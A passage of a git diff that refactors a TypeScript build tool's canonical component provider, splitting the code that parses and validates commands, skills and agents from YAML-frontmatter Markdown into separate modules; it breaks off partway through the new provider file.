a/packages/core/src/resources/canonical-provider.ts b/packages/core/src/resources/canonical-provider.ts deleted file mode 100644 index 6f9e203..0000000 --- a/packages/core/src/resources/canonical-provider.ts +++ /dev/null @@ -1,680 +0,0 @@ -import { parseDocument } from 'yaml'; -import type { - AgentCapability, - AgentComponent, - AgentModel, - CanonicalProject, - CommandComponent, - ComponentRequires, - JsonObject, - JsonValue, - PluginMetadata, - SkillComponent, - SourceDirectoryRef, - SourceEntry, -} from '../kernel-types.js'; -import { AssetRegistry } from '../kernel/asset-registry.js'; -import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; -import { compareCodePoints, safeRelativePath } from '../kernel/path-policy.js'; -import { SourceRegistry } from '../kernel/source-registry.js'; -import type { CanonicalResourceRoot, ResourceClaims } from './resource-registry.js'; - -/** Component ID 的规范格式。 */ -const COMPONENT_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; - -/** Core 支持的平台中立 Agent model。 */ -const AGENT_MODELS = new Set(['inherit', 'fast', 'capable']); - -/** Core 支持的平台中立 Agent capability。 */ -const AGENT_CAPABILITIES = new Set([ - 'filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate', -]); - -/** Markdown 主文件的统一中间形态。 */ -interface ParsedMarkdown { - readonly data: Readonly>; - readonly body: string; - readonly bodyLine: number; -} - -/** - * 提交绑定 canonical owner 的诊断。 - * - * @param diagnostics 当前 Session Registry。 - * @param code 稳定诊断码。 - * @param message 稳定信息。 - * @param location 工程相对路径。 - * @param fieldPath 可选字段路径。 - */ -function error( - diagnostics: DiagnosticRegistry, - code: string, - message: string, - location?: string, - fieldPath?: readonly (string | number)[], -): void { - diagnostics.report('discover', { - code, - severity: 'error', - message, - ...(location === undefined ? {} : { location: { path: location } }), - ...(fieldPath === undefined ? {} : { fieldPath }), - }, { owner: 'framework:canonical' }); -} - -/** - * 解析严格 UTF-8 + YAML Frontmatter Markdown。 - * - * @param sources canonical owner Source Service。 - * @param file Markdown SourceRef。 - * @param diagnostics 当前诊断集合。 - * @returns 合法 Frontmatter、正文和正文行。 - */ -async function parseMarkdown( - sources: ReturnType, - file: import('../kernel-types.js').SourceFileRef, - diagnostics: DiagnosticRegistry, -): Promise { - /** 文本读取失败统一转换为稳定 UTF-8 诊断。 */ - let source: string; - try { - source = await sources.readText(file); - } catch { - error(diagnostics, 'MARKDOWN_UTF8_INVALID', 'Markdown must be stable UTF-8 text.', file.path); - return undefined; - } - /** 保留行边界用于定位正文。 */ - const lines = source.split(/\r?\n/u); - if (lines[0] !== '---') { - error(diagnostics, 'FRONTMATTER_REQUIRED', 'Markdown requires a YAML Frontmatter block.', file.path); - return undefined; - } - /** closing 是 Frontmatter 结束分隔符的零基行索引。 */ - const closing = lines.findIndex((line, index) => index > 0 && line === '---'); - if (closing < 0) { - error(diagnostics, 'FRONTMATTER_UNTERMINATED', 'YAML Frontmatter is not terminated.', file.path); - return undefined; - } - /** YAML parser 必须拒绝重复键和非法语法。 */ - const document = parseDocument(lines.slice(1, closing).join('\n'), { prettyErrors: false, uniqueKeys: true }); - if (document.errors.length > 0) { - error(diagnostics, 'FRONTMATTER_INVALID', 'YAML Frontmatter is invalid.', file.path); - return undefined; - } - /** YAML AST 只在无 parser errors 后投影为普通值。 */ - const value = document.toJS() as unknown; - if (typeof value !== 'object' || value === null || Array.isArray(value)) { - error(diagnostics, 'FRONTMATTER_OBJECT_REQUIRED', 'Frontmatter must be a mapping.', file.path); - return undefined; - } - /** 正文统一换行为 LF 并去除首尾空白。 */ - const body = lines.slice(closing + 1).join('\n').trim(); - if (body.length === 0) { - error(diagnostics, 'MARKDOWN_BODY_REQUIRED', 'Markdown body must not be empty.', file.path); - return undefined; - } - return Object.freeze({ data: value as Record, body, bodyLine: closing + 2 }); -} - -/** - * 拒绝 Frontmatter unknown/legacy fields。 - * - * @param data Frontmatter mapping。 - * @param allowed 当前 Component 白名单。 - * @param location Markdown 路径。 - * @param diagnostics 当前诊断集合。 - */ -function fields(data: Readonly>, allowed: readonly string[], location: string, diagnostics: DiagnosticRegistry): void { - /** Set 使每个 Frontmatter 字段只需常量时间查找。 */ - const accepted = new Set(allowed); - for (const field of Object.keys(data).sort()) { - if (field === 'extensions') { - error(diagnostics, 'COMPONENT_LEGACY_EXTENSIONS', 'Frontmatter extensions is not supported; use platforms.', location, [field]); - } else if (!accepted.has(field)) { - error(diagnostics, 'FRONTMATTER_FIELD_UNKNOWN', `Unknown Frontmatter field "${field}".`, location, [field]); - } - } -} - -/** - * 读取非空 string 字段。 - * - * @param data Frontmatter mapping。 - * @param field 字段名。 - * @param location 文件路径。 - * @param diagnostics 当前诊断集合。 - * @param required 缺失时是否失败。 - * @returns 规范化 string 或 undefined。 - */ -function stringField( - data: Readonly>, - field: string, - location: string, - diagnostics: DiagnosticRegistry, - required = false, -): string | undefined { - /** 字段读取不执行额外 coercion。 */ - const value = data[field]; - if (value === undefined && !required) - return undefined; - if (typeof value !== 'string' || value.trim() === '') { - error(diagnostics, 'FRONTMATTER_STRING_REQUIRED', `${field} must be a non-empty string.`, location, [field]); - return undefined; - } - return value.trim(); -} - -/** - * 复制严格 string array。 - * - * @param value 未知数组值。 - * @param fieldPath 字段路径。 - * @param location 文件路径。 - * @param diagnostics 当前诊断集合。 - * @returns 排除非 string 后的稳定数组。 - */ -function strings( - value: unknown, - fieldPath: readonly string[], - location: string, - diagnostics: DiagnosticRegistry, -): readonly string[] { - if (value === undefined) - return Object.freeze([]); - if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) { - error(diagnostics, 'FRONTMATTER_STRING_ARRAY', `${fieldPath.join('.')} must be an array of non-empty strings.`, location, fieldPath); - return Object.freeze([]); - } - /** 复制数组,避免 YAML 容器身份进入 Project Graph。 */ - const result = [...value] as string[]; - if (new Set(result).size !== result.length) - error(diagnostics, 'FRONTMATTER_ARRAY_DUPLICATE', `${fieldPath.join('.')} must not contain duplicates.`, location, fieldPath); - return Object.freeze(result); -} - -/** - * 解析 canonical dependency 声明。 - * - * @param value requires Frontmatter 值。 - * @param location 文件路径。 - * @param diagnostics 当前诊断集合。 - * @returns 始终包含 skills/agents 的不可变依赖。 - */ -function requires(value: unknown, location: string, diagnostics: DiagnosticRegistry): ComponentRequires { - if (value === undefined) - return Object.freeze({ skills: Object.freeze([]), agents: Object.freeze([]) }); - if (typeof value !== 'object' || value === null || Array.isArray(value)) { - error(diagnostics, 'COMPONENT_REQUIRES_INVALID', 'requires must be a mapping.', location, ['requires']); - return Object.freeze({ skills: Object.freeze([]), agents: Object.freeze([]) }); - } - /** YAML 映射的普通字段。 */ - const object = value as Record; - for (const field of Object.keys(object)) { - if (field !== 'skills' && field !== 'agents') - error(diagnostics, 'COMPONENT_REQUIRES_KIND', `requires.${field} is not supported.`, location, ['requires', field]); - } - /** 两种可引用 Component 类型分别解析并保留声明顺序。 */ - const skills = strings(object.skills, ['requires', 'skills'], location, diagnostics); - /** Agent dependencies 与 Skill dependencies 使用相同 ID 规则。 */ - const agents = strings(object.agents, ['requires', 'agents'], location, diagnostics); - for (const [kind, ids] of [['skills', skills], ['agents', agents]] as const) { - for (const [index, id] of ids.entries()) { - if (!COMPONENT_ID.test(id)) - error(diagnostics, 'COMPONENT_REQUIRES_ID_INVALID', `requires.${kind} contains an invalid Component ID.`, location, ['requires', kind, index]); - } - } - return Object.freeze({ skills, agents }); -} - -/** - * 递归复制 YAML value 为严格 JSON。 - * - * @param value 当前值。 - * @param path 字段路径。 - * @param location 文件路径。 - * @param diagnostics 当前诊断集合。 - * @param ancestors 当前递归祖先。 - * @returns JSON snapshot 或 undefined。 - */ -function jsonValue( - value: unknown, - path: readonly string[], - location: string, - diagnostics: DiagnosticRegistry, - ancestors = new Set(), -): JsonValue | undefined { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (Number.isFinite(value)) - return value; - error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must contain finite JSON values.', location, path); - return undefined; - } - if (typeof value !== 'object') { - error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must contain JSON values.', location, path); - return undefined; - } - if (ancestors.has(value)) { - error(diagnostics, 'COMPONENT_PLATFORM_JSON_CYCLE', 'Platform metadata must not contain cycles.', location, path); - return undefined; - } - ancestors.add(value); - try { - if (Array.isArray(value)) { - /** JSON array 使用新容器逐项规范化。 */ - const result: JsonValue[] = []; - for (const [index, item] of value.entries()) { - /** index 加入字段路径以生成精确诊断。 */ - const normalized = jsonValue(item, [...path, String(index)], location, diagnostics, ancestors); - if (normalized === undefined) - return undefined; - result.push(normalized); - } - return Object.freeze(result); - } - if (Object.getPrototypeOf(value) !== Object.prototype && Object.getPrototypeOf(value) !== null) { - error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must use plain mappings.', location, path); - return undefined; - } - /** JSON object 使用冻结的新 data-property 容器。 */ - const result: Record = {}; - for (const field of Object.keys(value).sort()) { - /** 字段按稳定键序递归复制。 */ - const normalized = jsonValue((value as Record)[field], [...path, field], location, diagnostics, ancestors); - if (normalized === undefined) - return undefined; - Object.defineProperty(result, field, { value: normalized, enumerable: true, configurable: false, writable: false }); - } - return Object.freeze(result); - } finally { - ancestors.delete(value); - } -} - -/** - * 解析 Component 的 configured Platform 专属 JSON。 - * - * @param value platforms Frontmatter 值。 - * @param configured 已配置 Platform ID。 - * @param location 文件路径。 - * @param diagnostics 当前诊断集合。 - * @returns 仅保留已配置平台的冻结 JSON object map。 - */ -function platforms( - value: unknown, - configured: ReadonlySet, - location: string, - diagnostics: DiagnosticRegistry, -): Readonly>> { - if (value === undefined) - return Object.freeze({}); - if (typeof value !== 'object' || value === null || Array.isArray(value)) { - error(diagnostics, 'COMPONENT_PLATFORMS_INVALID', 'platforms must be a mapping.', location, ['platforms']); - return Object.freeze({}); - } - /** 只保留当前配置中实际存在的 Platform namespace。 */ - const result: Record> = {}; - for (const id of Object.keys(value).sort()) { - if (!configured.has(id)) { - error(diagnostics, 'COMPONENT_PLATFORM_NOT_CONFIGURED', `Component declares unconfigured Platform "${id}".`, location, ['platforms', id]); - continue; - } - /** Platform fields 只能是严格 JSON mapping。 */ - const normalized = jsonValue((value as Record)[id], ['platforms', id], location, diagnostics); - if (normalized === undefined || normalized === null || typeof normalized !== 'object' || Array.isArray(normalized)) { - error(diagnostics, 'COMPONENT_PLATFORM_FIELDS_INVALID', `platforms.${id} must be a JSON mapping.`, location, ['platforms', id]); - continue; - } - result[id] = normalized as Readonly; - } - return Object.freeze(result); -} - -/** @returns Resource root 的直接 entries;缺失 root 返回空集合。 */ -async function rootEntries( - root: SourceDirectoryRef | undefined, - sources: ReturnType, -): Promise { - return root === undefined ? Object.freeze([]) : sources.list(root); -} - -/** @returns entry 的 Component ID 是否有效,并在失败时报告。 */ -function componentId(id: string, location: string, diagnostics: DiagnosticRegistry): boolean { - if (COMPONENT_ID.test(id)) - return true; - error(diagnostics, 'COMPONENT_ID_INVALID', `Component ID "${id}" must use lowercase kebab-case.`, location); - return false; -} - -/** - * 扫描 Command root。 - * - * @param root 可选 commands root。 - * @param sources canonical Source Service。 - * @param configured 配置 Platform IDs。 - * @param diagnostics 当前诊断集合。 - * @returns 有效 Commands。 - */ -async function commands( - root: SourceDirectoryRef | undefined, - sources: ReturnType, - configured: ReadonlySet, - diagnostics: DiagnosticRegistry, -): Promise { - /** 扫描结果在完成后按 ID 排序并冻结。 */ - const result: CommandComponent[] = []; - for (const entry of await rootEntries(root, sources)) { - if (entry.type !== 'file' || !entry.name.endsWith('.md')) { - error(diagnostics, 'COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', entry.path); - continue; - } - /** Command ID 来自精确 .md 文件名。 */ - const id = entry.name.slice(0, -3); - if (!componentId(id, entry.path, diagnostics)) - continue; - /** Markdown parsing 只使用当前 owner 的 SourceRef。 */ - const markdown = await parseMarkdown(sources, entry.file, diagnostics); - if (markdown === undefined) - continue; - fields(markdown.data, ['description', 'argumentHint', 'requires', 'platforms'], entry.path, diagnostics); - /** description 是所有 canonical Component 的必填字段。 */ - const description = stringField(markdown.data, 'description', entry.path, diagnostics, true); - if (description === undefined) - continue; - for (const placeholder of markdown.body.match(/\{\{[^{}]*\}\}/gu) ?? []) { - if (placeholder !== '{{arguments}}') - error(diagnostics, 'COMMAND_PLACEHOLDER_INVALID', `Unsupported Command placeholder "${placeholder}".`, entry.path); - } - /** argumentHint 保持可选且不解释平台语义。 */ - const argumentHint = stringField(markdown.data, 'argumentHint', entry.path, diagnostics); - result.push(Object.freeze({ - kind: 'command', - id, - description, - ...(argumentHint === undefined ? {} : { argumentHint }), - body: markdown.body, - location: Object.freeze({ path: entry.path, bodyLine: markdown.bodyLine }), - requires: requires(markdown.data.requires, entry.path, diagnostics), - platforms: platforms(markdown.data.platforms, configured, entry.path, diagnostics), - })); - } - return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); -} - -/** - * 扫描 Skill root 和辅助资源。 - * - * @param root 可选 skills root。 - * @param sources canonical Source Service。 - * @param assets canonical Asset Service。 - * @param configured 配置 Platform IDs。 - * @param diagnostics 当前诊断集合。 - * @returns 有效 Skills。 - */ -async function skills( - root: SourceDirectoryRef | undefined, - sources: ReturnType, - assets: ReturnType, - configured: ReadonlySet, - diagnostics: DiagnosticRegistry, -): Promise { - /** Skill 结果在所有辅助资源完成签发后统一冻结。 */ - const result: SkillComponent[] = []; - for (const entry of await rootEntries(root, sources)) { - if (entry.type !== 'directory') { - error(diagnostics, 'SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', entry.path); - continue; - } - if (!componentId(entry.name, entry.path, diagnostics)) - continue; - /** 每个 Skill 必须拥有精确名称的主 Markdown 文件。 */ - let skillFile: import('../kernel-types.js').SourceFileRef; - try { - skillFile = await sources.file(entry.directory, 'SKILL.md'); - } catch { - error(diagnostics, 'SKILL_FILE_REQUIRED', 'Skill directory must contain SKILL.md.', entry.path); - continue; - } - /** Skill 主文件沿用 canonical Markdown 解析边界。 */ - const markdown = await parseMarkdown(sources, skillFile, diagnostics); - if (markdown === undefined) - continue; - fields(markdown.data, ['description', 'invocation', 'requires', 'platforms'], skillFile.path, diagnostics); - /** description 缺失时不能产生不完整 Skill。 */ - const description = stringField(markdown.data, 'description', skillFile.path, diagnostics, true); - if (description === undefined) - continue; - /** Skill 默认允许用户显式调用。 */ - let user = true; - /** Skill 默认也允许模型自动选择。 */ - let model = true; - if (markdown.data.invocation !== undefined) { - /** invocation 保留平台中立的两个布尔维度。 */ - const invocation = markdown.data.invocation; - if (typeof invocation !== 'object' || invocation === null || Array.isArray(invocation)) { - error(diagnostics, 'SKILL_INVOCATION_INVALID', 'invocation must be a mapping.', skillFile.path, ['invocation']); - } else { - for (const field of Object.keys(invocation)) { - if (field !== 'user' && field !== 'model') - error(diagnostics, 'SKILL_INVOCATION_FIELD', `Unknown invocation field "${field}".`, skillFile.path, ['invocation', field]); - } - /** invocationUser 只接受显式布尔值。 */ - const invocationUser = (invocation as Record).user; - if (typeof invocationUser === 'boolean') - user = invocationUser; - else if ((invocation as Record).user !== undefined) - error(diagnostics, 'SKILL_INVOCATION_BOOLEAN', 'invocation.user must be boolean.', skillFile.path, ['invocation', 'user']); - /** invocationModel 使用与 user 相同的严格布尔边界。 */ - const invocationModel = (invocation as Record).model; - if (typeof invocationModel === 'boolean') - model = invocationModel; - else if ((invocation as Record).model !== undefined) - error(diagnostics, 'SKILL_INVOCATION_BOOLEAN', 'invocation.model must be boolean.', skillFile.path, ['invocation', 'model']); - } - } - if (!user && !model) - error(diagnostics, 'SKILL_INVOCATION_EMPTY', 'invocation.user and invocation.model cannot both be false.', skillFile.path, ['invocation']); - /** 递归枚举后只把普通辅助文件签发为 SourceAsset。 */ - const auxiliary = [] as { path: string; asset: import('../kernel-types.js').SourceAssetRef }[]; - for (const child of await sources.list(entry.directory, { recursive: true })) { - if (child.type !== 'file' || child.path === skillFile.path) - continue; - /** 辅助资源路径相对 Skill 根而不是项目根。 */ - const relative = child.path.slice(`${entry.path}/`.length); - auxiliary.push(Object.freeze({ path: safeRelativePath(relative), asset: await assets.fromSource(child.file) })); - } - auxiliary.sort((left, right) => compareCodePoints(left.path, right.path)); - result.push(Object.freeze({ - kind: 'skill', - id: entry.name, - description, - invocation: Object.freeze({ user, model }), - body: markdown.body, - location: Object.freeze({ path: skillFile.path, bodyLine: markdown.bodyLine }), - requires: requires(markdown.data.requires, skillFile.path, diagnostics), - platforms: platforms(markdown.data.platforms, configured, skillFile.path, diagnostics), - auxiliaryFiles: Object.freeze(auxiliary), - })); - } - return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); -} - -/** - * 扫描 Agent root。 - * - * @param root 可选 agents root。 - * @param sources canonical Source Service。 - * @param configured 配置 Platform IDs。 - * @param diagnostics 当前诊断集合。 - * @returns 有效 Agents。 - */ -async function agents( - root: SourceDirectoryRef | undefined, - sources: ReturnType, - configured: ReadonlySet, - diagnostics: DiagnosticRegistry, -): Promise { - /** Agent 结果不携带任何平台物理输出信息。 */ - const result: AgentComponent[] = []; - for (const entry of await rootEntries(root, sources)) { - if (entry.type !== 'file' || !entry.name.endsWith('.md')) { - error(diagnostics, 'AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', entry.path); - continue; - } - /** Agent ID 来自精确 .md 文件名。 */ - const id = entry.name.slice(0, -3); - if (!componentId(id, entry.path, diagnostics)) - continue; - /** Agent 主文件使用相同严格 Frontmatter parser。 */ - const markdown = await parseMarkdown(sources, entry.file, diagnostics); - if (markdown === undefined) - continue; - fields(markdown.data, ['description', 'model', 'capabilities', 'requires', 'platforms'], entry.path, diagnostics); - /** description 缺失时不创建 Agent。 */ - const description = stringField(markdown.data, 'description', entry.path, diagnostics, true); - if (description === undefined) - continue; - /** 未配置模型时保持跨平台的 inherit 语义。 */ - const rawModel = markdown.data.model ?? 'inherit'; - /** 非法模型回退用于继续收集诊断,但错误会阻止构建。 */ - const model: AgentModel = typeof rawModel === 'string' && AGENT_MODELS.has(rawModel as AgentModel) ? rawModel as AgentModel : 'inherit'; - if (model !== rawModel) - error(diagnostics, 'AGENT_MODEL_INVALID', 'model must be inherit, fast, or capable.', entry.path, ['model']); - /** capability 只保留 Core 定义的平台中立集合。 */ - const capabilities = strings(markdown.data.capabilities, ['capabilities'], entry.path, diagnostics) - .filter((capability): capability is AgentCapability => { - if (AGENT_CAPABILITIES.has(capability as AgentCapability)) - return true; - error(diagnostics, 'AGENT_CAPABILITY_INVALID', `Unknown capability "${capability}".`, entry.path, ['capabilities']); - return false; - }); - result.push(Object.freeze({ - kind: 'agent', - id, - description, - model, - capabilities: Object.freeze(capabilities), - body: markdown.body, - location: Object.freeze({ path: entry.path, bodyLine: markdown.bodyLine }), - requires: requires(markdown.data.requires, entry.path, diagnostics), - platforms: platforms(markdown.data.platforms, configured, entry.path, diagnostics), - })); - } - return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); -} - -/** - * 校验跨 Command/Skill/Agent 的依赖图。 - * - * @param components 完整 canonical Component 集。 - * @param diagnostics 当前诊断集合。 - */ -function validateGraph( - components: readonly (CommandComponent | SkillComponent | AgentComponent)[], - diagnostics: DiagnosticRegistry, -): void { - /** kind+id 是允许不同 Component 类型同名的图键。 */ - const key = (kind: string, id: string): string => `${kind}:${id}`; - /** 完整 Component 索引用于检查引用存在性。 */ - const byKey = new Map(components.map(component => [key(component.kind, component.id), component])); - /** 只记录通过存在性和自引用检查的有向边。 */ - const edges = new Map(); - for (const component of components) { - /** 当前 Component 的唯一图节点键。 */ - const from = key(component.kind, component.id); - /** Command/Skill/Agent 统一投影为可引用 Skill/Agent 目标。 */ - const targets = [ - ...component.requires.skills.map(id => key('skill', id)), - ...component.requires.agents.map(id => key('agent', id)), - ]; - /** 合法边按目标键稳定排序后进入 DFS。 */ - const valid: string[] = []; - for (const target of targets) { - if (target === from) { - diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_SELF', severity: 'error', message: `${from} cannot require itself.`, location: { path: component.location.path } }, { owner: 'framework:canonical', component: { kind: component.kind, id: component.id } }); - } else if (!byKey.has(target)) { - diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_MISSING', severity: 'error', message: `${from} requires missing ${target}.`, location: { path: component.location.path } }, { owner: 'framework:canonical', component: { kind: component.kind, id: component.id } }); - } else { - valid.push(target); - } - } - edges.set(from, valid.sort(compareCodePoints)); - } - /** visiting 表示当前 DFS 路径上的灰色节点。 */ - const visiting = new Set(); - /** visited 表示已经完成验证的黑色节点。 */ - const visited = new Set(); - /** stack 保留完整循环路径用于稳定诊断。 */ - const stack: string[] = []; - /** reported 避免同一环路从多个入口重复报告。 */ - const reported = new Set(); - /** 深度优先遍历检测依赖图中的回边。 */ - const visit = (node: string): void => { - if (visited.has(node)) - return; - if (visiting.has(node)) { - /** 回边闭合为包含首尾节点的完整可读路径。 */ - const cycle = [...stack.slice(stack.indexOf(node)), node].join(' -> '); - if (!reported.has(cycle)) { - diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_CYCLE', severity: 'error', message: `Dependency cycle: ${cycle}.` }, { owner: 'framework:canonical' }); - reported.add(cycle); - } - return; - } - visiting.add(node); - stack.push(node); - for (const target of edges.get(node) ?? []) - visit(target); - stack.pop(); - visiting.delete(node); - visited.add(node); - }; - for (const node of [...byKey.keys()].sort(compareCodePoints)) - visit(node); -} - -/** Canonical Provider 的 Session registries。 */ -export interface CanonicalProviderOptions { - readonly metadata: Readonly; - readonly platformIds: readonly string[]; - readonly claims: ResourceClaims; - readonly sources: SourceRegistry; - readonly assets: AssetRegistry; - readonly diagnostics: DiagnosticRegistry; -} - -/** - * 发现并验证 Canonical Component graph。 - * - * Public 和 Runtime 由各自 Provider 合并,因此这里先返回空 publicFiles。 - * - * @param options 当前 BuildSession registries 与 claims。 - * @returns 不含物理路径的不可变 canonical project。 - */ -export async function discoverCanonicalProject(options: CanonicalProviderOptions): Promise { - /** canonical Source capability 固定绑定 Framework owner。 */ - const sourceService = options.sources.service('framework:canonical'); - /** Skill auxiliary Asset 同样保留 canonical issuer。 */ - const assetService = options.assets.service('framework:canonical'); - /** configured Set 只用于拒绝未安装 Platform namespace。 */ - const configured = new Set(options.platformIds); - /** 三类互相独立的来源并行扫描,最终诊断由 Registry 排序。 */ - const [discoveredCommands, discoveredSkills, discoveredAgents] = await Promise.all([ - commands(options.claims.canonical.commands, sourceService, configured, options.diagnostics), - skills(options.claims.canonical.skills, sourceService, assetService, configured, options.diagnostics), - agents(options.claims.canonical.agents, sourceService, configured, options.diagnostics), - ]); - validateGraph([...discoveredCommands, ...discoveredSkills, ...discoveredAgents], options.diagnostics); - return Object.freeze({ - metadata: options.metadata, - commands: discoveredCommands, - skills: discoveredSkills, - agents: discoveredAgents, - publicFiles: Object.freeze([]), - }); -} - -/** Framework canonical root names的 compile-time exhaustiveness guard。 */ -const _canonicalRoots: readonly CanonicalResourceRoot[] = ['commands', 'skills', 'agents']; -void _canonicalRoots; diff --git a/packages/core/src/resources/canonical/agents.ts b/packages/core/src/resources/canonical/agents.ts new file mode 100644 index 0000000..af3d963 --- /dev/null +++ b/packages/core/src/resources/canonical/agents.ts @@ -0,0 +1,78 @@ +import type { AgentCapability, AgentComponent, AgentModel } from '../../contracts/components.js'; +import type { SourceDirectoryRef } from '../../contracts/services.js'; +import { DiagnosticRegistry } from '../../services/diagnostics.js'; +import { compareCodePoints } from '../../security/path-policy.js'; +import { SourceRegistry } from '../../services/sources.js'; +import { componentId, error, fields, parseMarkdown, platforms, requires, rootEntries, stringField, strings } from './shared.js'; + +/** Core 支持的平台中立 Agent model。 */ +const AGENT_MODELS = new Set(['inherit', 'fast', 'capable']); + +/** Core 支持的平台中立 Agent capability。 */ +const AGENT_CAPABILITIES = new Set([ + 'filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate', +]); + +/** + * 扫描 Agent root。 + * + * @param root 可选 agents root。 + * @param sources canonical Source Service。 + * @param configured 配置 Platform IDs。 + * @param diagnostics 当前诊断集合。 + * @returns 有效 Agents。 + */ +export async function discoverAgents( + root: SourceDirectoryRef | undefined, + sources: ReturnType, + configured: ReadonlySet, + diagnostics: DiagnosticRegistry, +): Promise { + /** Agent 结果不携带任何平台物理输出信息。 */ + const result: AgentComponent[] = []; + for (const entry of await rootEntries(root, sources)) { + if (entry.type !== 'file' || !entry.name.endsWith('.md')) { + error(diagnostics, 'AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', entry.path); + continue; + } + /** Agent ID 来自精确 .md 文件名。 */ + const id = entry.name.slice(0, -3); + if (!componentId(id, entry.path, diagnostics)) + continue; + /** Agent 主文件使用相同严格 Frontmatter parser。 */ + const markdown = await parseMarkdown(sources, entry.file, diagnostics); + if (markdown === undefined) + continue; + fields(markdown.data, ['description', 'model', 'capabilities', 'requires', 'platforms'], entry.path, diagnostics); + /** description 缺失时不创建 Agent。 */ + const description = stringField(markdown.data, 'description', entry.path, diagnostics, true); + if (description === undefined) + continue; + /** 未配置模型时保持跨平台的 inherit 语义。 */ + const rawModel = markdown.data.model ?? 'inherit'; + /** 非法模型回退用于继续收集诊断,但错误会阻止构建。 */ + const model: AgentModel = typeof rawModel === 'string' && AGENT_MODELS.has(rawModel as AgentModel) ? rawModel as AgentModel : 'inherit'; + if (model !== rawModel) + error(diagnostics, 'AGENT_MODEL_INVALID', 'model must be inherit, fast, or capable.', entry.path, ['model']); + /** capability 只保留 Core 定义的平台中立集合。 */ + const capabilities = strings(markdown.data.capabilities, ['capabilities'], entry.path, diagnostics) + .filter((capability): capability is AgentCapability => { + if (AGENT_CAPABILITIES.has(capability as AgentCapability)) + return true; + error(diagnostics, 'AGENT_CAPABILITY_INVALID', `Unknown capability "${capability}".`, entry.path, ['capabilities']); + return false; + }); + result.push(Object.freeze({ + kind: 'agent', + id, + description, + model, + capabilities: Object.freeze(capabilities), + body: markdown.body, + location: Object.freeze({ path: entry.path, bodyLine: markdown.bodyLine }), + requires: requires(markdown.data.requires, entry.path, diagnostics), + platforms: platforms(markdown.data.platforms, configured, entry.path, diagnostics), + })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); +} diff --git a/packages/core/src/resources/canonical/commands.ts b/packages/core/src/resources/canonical/commands.ts new file mode 100644 index 0000000..ad5d63e --- /dev/null +++ b/packages/core/src/resources/canonical/commands.ts @@ -0,0 +1,61 @@ +import type { CommandComponent } from '../../contracts/components.js'; +import type { SourceDirectoryRef } from '../../contracts/services.js'; +import { DiagnosticRegistry } from '../../services/diagnostics.js'; +import { compareCodePoints } from '../../security/path-policy.js'; +import { SourceRegistry } from '../../services/sources.js'; +import { componentId, error, fields, parseMarkdown, platforms, requires, rootEntries, stringField } from './shared.js'; + +/** + * 扫描 Command root。 + * + * @param root 可选 commands root。 + * @param sources canonical Source Service。 + * @param configured 配置 Platform IDs。 + * @param diagnostics 当前诊断集合。 + * @returns 有效 Commands。 + */ +export async function discoverCommands( + root: SourceDirectoryRef | undefined, + sources: ReturnType, + configured: ReadonlySet, + diagnostics: DiagnosticRegistry, +): Promise { + /** 扫描结果在完成后按 ID 排序并冻结。 */ + const result: CommandComponent[] = []; + for (const entry of await rootEntries(root, sources)) { + if (entry.type !== 'file' || !entry.name.endsWith('.md')) { + error(diagnostics, 'COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', entry.path); + continue; + } + /** Command ID 来自精确 .md 文件名。 */ + const id = entry.name.slice(0, -3); + if (!componentId(id, entry.path, diagnostics)) + continue; + /** Markdown parsing 只使用当前 owner 的 SourceRef。 */ + const markdown = await parseMarkdown(sources, entry.file, diagnostics); + if (markdown === undefined) + continue; + fields(markdown.data, ['description', 'argumentHint', 'requires', 'platforms'], entry.path, diagnostics); + /** description 是所有 canonical Component 的必填字段。 */ + const description = stringField(markdown.data, 'description', entry.path, diagnostics, true); + if (description === undefined) + continue; + for (const placeholder of markdown.body.match(/\{\{[^{}]*\}\}/gu) ?? []) { + if (placeholder !== '{{arguments}}') + error(diagnostics, 'COMMAND_PLACEHOLDER_INVALID', `Unsupported Command placeholder "${placeholder}".`, entry.path); + } + /** argumentHint 保持可选且不解释平台语义。 */ + const argumentHint = stringField(markdown.data, 'argumentHint', entry.path, diagnostics); + result.push(Object.freeze({ + kind: 'command', + id, + description, + ...(argumentHint === undefined ? {} : { argumentHint }), + body: markdown.body, + location: Object.freeze({ path: entry.path, bodyLine: markdown.bodyLine }), + requires: requires(markdown.data.requires, entry.path, diagnostics), + platforms: platforms(markdown.data.platforms, configured, entry.path, diagnostics), + })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); +} diff --git a/packages/core/src/resources/canonical/provider.ts b/packages/core/src/resources/canonical/provider.ts new file mode 100644 index 0000000..375f39d --- /dev/null +++ b/packages/core/src/resources/canonical/provider.ts @@ -0,0 +1,130 @@ +import type { + AgentComponent, + CanonicalProject, + CommandComponent, + SkillComponent, +} from '../../contracts/components.js'; +import type { PluginMetadata } from '../../contracts/config.js'; +import { AssetRegistry } from '../../services/assets.js'; +import { DiagnosticRegistry } from '../../services/diagnostics.js'; +import { compareCodePoints } from '../../security/path-policy.js'; +import { SourceRegistry } from '../../services/sources.js'; +import type { CanonicalResourceRoot, ResourceClaims } from '../registry.js'; +import { discoverAgents } from './agents.js'; +import { discoverCommands } from './commands.js'; +import { discoverSkills } from './skills.js'; + +/** + * 校验跨 Command/Skill/Agent 的依赖图。 + * + * @param components 完整 canonical Component 集。 + * @param diagnostics 当前诊断集合。 + */ +function validateGraph( + components: readonly (CommandComponent | 